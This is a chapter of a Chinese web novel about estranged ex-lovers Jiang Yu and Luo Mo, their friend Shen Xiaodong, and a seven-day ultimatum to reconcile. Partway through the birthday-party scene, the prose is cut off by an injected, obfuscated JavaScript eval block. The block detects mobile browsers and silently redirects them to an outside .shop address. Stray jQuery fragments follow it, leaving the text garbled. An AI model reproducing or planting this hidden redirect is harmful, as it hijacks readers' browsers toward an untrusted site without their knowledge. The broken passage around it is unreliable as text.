北京的秋,短暂而温情。
三个人中午见面时,洛默上半身穿着长袖白色T恤,下半身穿着黑色短裤。
这要是搁在江屿和他交往那会儿这么穿,简直是犯了天条。
江屿第一个到的,不怎么抬头,洛默第二个到的,就这么一身打扮坐在他旁边的座位上。
沈晓东故意最后一个到,就想先看看这俩人单独待一会儿是什么氛围,再决定怎么出现。
冷。
不是天气冷,是气氛冷。
一看江屿和洛默就是谁都没说话。
沈晓东坐在他俩对面,无奈地说:“点菜吧。”
江屿看了看窗外:“你随便,我不饿。”
洛默侧头看了看江屿,对沈晓东说:“就点那个三人餐吧,没什么辣的,都能吃。”
洛默还是那么了解江屿——太辣的吃不了。江屿在这一瞬心里有所触动,却仍冷着脸。
沈晓东叫了服务员,按洛默的意思点了三人餐。菜上齐后,大家又一言不发地吃起来。沈晓东真不知道这俩人在玩什么深沉,终于沉不住气:“我说,你们要是纯为了来吃饭,其实也可以分开来。”
江屿和洛默几乎同时抬头,却又同时低了下去。
沈晓东叹气:“要是什么话都没有,我就先回餐厅了啊,我这也不是闲人。”
江屿突然不抬头的开口,但话却是针对洛默的。
“我不明白我们仨为什么要一起吃这顿饭。不过以后没什么事确实没必要老这样聚,毕竟这么多年也没怎么一起吃过,有些事已经习惯了。”
洛默没接话,江屿继续发难。
“还有,有的人既然选择当了公众人物,就别私下见我们这些小老百姓了,传出点什么,没人给你兜底。”
洛默的筷子停了下来。他直视面前那盘菜,想听听江屿还要说什么。
“我是有男友的人了,以后如果我们再聚,我要带着他,要不我觉得对不起他。”
别的都没什么,这句话却像刀一样刺穿了洛默的心。洛默再次拿起筷子,扒拉着面前碗里的菜,一口一口地吃,只不过眼泪也一滴一滴地掉了下来。
沈晓东这么看着心里也不好受,洛默的眼泪一直都有杀伤力,他迅速看向江屿,不知江屿是想回避还是真的无视,竟一直望向窗外。
明明是洛默想组的局,饭桌上却一句有用的没说。分别时,自然也没什么像样的告别。
沈晓东打车走了,江屿直奔自己停着的车,洛默不管三七二十一就坐上了他的副驾。
江屿不急着走,只目视前方:“你又想干嘛?”
洛默想着刚才饭桌上的话,还带着点怨气:“你对我是一点儿感情都没了吗?”
“有,但不多。”
“那你刚才为什么说那些?”
“我没说错啊,而且我对你的感情仅仅是我们曾经认识而已。”
“那你今天为什么来?”
“我来是给东子面子,毕竟他是我最好的朋友。”
“那我呢?”
“我不是说了吗?我们只是曾经认识。说好听点,现在就是最熟悉的陌生人。”
洛默听后,情绪再次波动,趴在车上哭了起来。
这副模样让江屿踩不下油门。年轻时,洛默也这样哭过,只不过最后都是江屿哄好的。而现在,江屿就这么一直看着——好话不想说,狠话又没想好。
洛默哭了一会儿,坐直了身子问江屿:“我给你一周时间,你想想我们的过去,再想想我们的未来。如果愿意再跟我重归于好,就在七天后的这里给我答案。当然,你不来,我就当从没认识过你。”
说罢,洛默甩了张名片,推门下车。
这是一张印有工作室地址的名片。
江屿看着名片有点发懵。七天?能抚平七年的痛吗?
越想心越乱,江屿干脆也不回公司了,直接开车回家蒙头大睡。
江屿到家后躺在沙发上,回忆第一次洛默在他面前这样哭的样子。
大概是同居后,两人因为养不养猫大吵了一架。
洛默想养猫,江屿不想养。
最后气得江屿摔门而出。洛默当晚就发起了高烧,痛苦不堪地自己去医院输液。江屿深夜回家,发现他不在,便给他打了电话。
洛默虚弱地说了自己在哪个医院的急诊,让江屿别来了。
但江屿还是以最快的速度赶到了洛默面前。
满头大汗,满脸担忧,蹲在了他面前。
洛默一下就扑进江屿怀里哭了。
江屿那时就发现自己最见不得洛默的眼泪。等洛默烧退了,江屿开口第一句就是:“想养哪种猫啊?”
洛默被这突如其来的问题问得一愣,反倒示了弱:“算了,我想了想,还是等将来毕业以后再养吧,现在确实不方便。”
这也是为什么李子瑜也很喜欢猫,江屿却始终不同意养。刻在他骨子里的关于猫的回忆,是洛默第一次在他面前流下的长泪。
七天才过去三天,就赶上沈晓东过生日,沈晓东自然是要在自家餐厅聚,只低调请了江屿和李子瑜。
洛默在三人群里祝福了沈晓东,但沈晓东依旧没松口邀请他来餐厅。
巧就巧在,洛默猜到了。
晚上,洛默拿着礼物,坐着保姆车来到沈晓东的餐厅。果不其然,为了过生日,门口张贴着"今日不营业"的中英文提示牌,里面却灯火通明。
洛默进门时,贾涛正举杯致辞庆祝。员工们坐一桌,沈晓东、江屿、李子瑜坐另一桌。
沈晓东看见洛默的一瞬间,笑容僵住了。
洛默缓缓朝他们这桌走来:“怎么,明知道我在北京,都不请我来?”
还没等沈晓东开口,江屿就接话了:“你算是个什么东西,为什么非得请你?”
这句话太狠了,连李子瑜都拉了拉江屿的袖子。
洛默不敢相信这是江屿当着众人面说的话。愣了几秒后,他看到每个人面前都分好了蛋糕。他把带来的礼物放在一旁,走上前,拿起江屿那块蛋糕,直接朝江屿脸上拍过去。
江屿躲得及时,蛋糕只蹭到了他的脖子和肩膀上。
江屿顿时火冒三丈,拽着洛默就往餐厅的办公室走。谁也没能跟进来,江屿
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941566|213699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
反手就锁上了门。
李子瑜怕出事,一直在外面敲门。沈晓东则淡定得多,见李子瑜敲累了,说了句:“没事,打不死。”
洛默被甩在沙发上。
江屿顺手拿起旁边的纸巾一顿擦,边擦边骂:“你丫是不是疯了?”
洛默本来被那句话气得不轻,看到江屿边擦边骂的样子,心里的气竟缓解了不少。
“疯了,确实疯了。”
江屿擦干净后,继续问:“你到底想从我们这儿得到什么?”
“你们?”洛默一顿,“你和谁算是你们?”
“你说呢?我现在有男朋友了。”江屿笃定。
洛默不想深聊这个话题,改口道:“我让你想的事情,你想的怎么样了?”
江屿沉默了一瞬,说道:“我问你,当年为什么要走?除了你犯了事,我实在想不出自己做了什么让你突然消失?”
洛默听后,身体前倾,双手交叉握在一起:“江屿,你能不能别再问这个问题了?最重要的难道不是我爱你、你爱我吗?你说过永远爱我。爱我就不能回到我身边吗?”
江屿没有反驳——他确实曾这样许诺过。可是就这样突然跟洛默重归于好,他心里憋屈。而且李子瑜的陪伴不是一两天了,他也无法痛下决心割舍。
“别做梦了。有些答案,不用七天就知道。”
洛默突然站了起来:“说了七天就是七天。现在你说什么我都不会信。还有——我搬了新家,明天我希望你能来看看,就你一个人来。”
说完,洛默发了个地址到江屿的微信上。
看着像有深仇大恨,实则三人群建立那天,两人就默默加了微信好友,只不过像在较劲,谁都没先开口。
洛默开门时,李子瑜一脸茫然。的确,沈晓东这间办公室好就好在像真空一样,外面的人耳朵贴门上都听不见里面的动静。
李子瑜一时说不出话,只能眼睁睁看着洛默离开。
沈晓东看不出江屿什么态度,也没追出去。
而其他人一窝蜂进了办公室,就看见江屿已经顺势躺在了沙发上。
沈晓东先开口:“是聊崩了吗?”
江屿用手挡住眼睛:“别问了,我好像酒喝多了,我得睡会儿。”
李子瑜转身对大家说:“我陪他就行,你们都出去接着吃吧。”
沈晓东点了点头,转身向餐厅外走去。
洛默站在门口,似乎知道沈晓东会出来。
“等我呢?”
洛默轻轻转身:“嗯。”
“干嘛这么拧巴?”
洛默露出失落的表情:“你觉得他还爱我吗?”
“整天想这个有意义吗?”
洛默这次没说话。
沈晓东上前拍了拍他肩,“我知道你肯定跟老江有了什么约定,但哥们怕你伤心。眼前的江屿不是大学时的江屿了,他的现实处境不允许他轻易抛弃李子瑜。”
沈晓东说完便回了餐厅。
洛默觉得沈晓东好像什么都不知道,又好像什么都知道。在青春岁月里,沈晓东也是见证过江屿和自己爱情的人。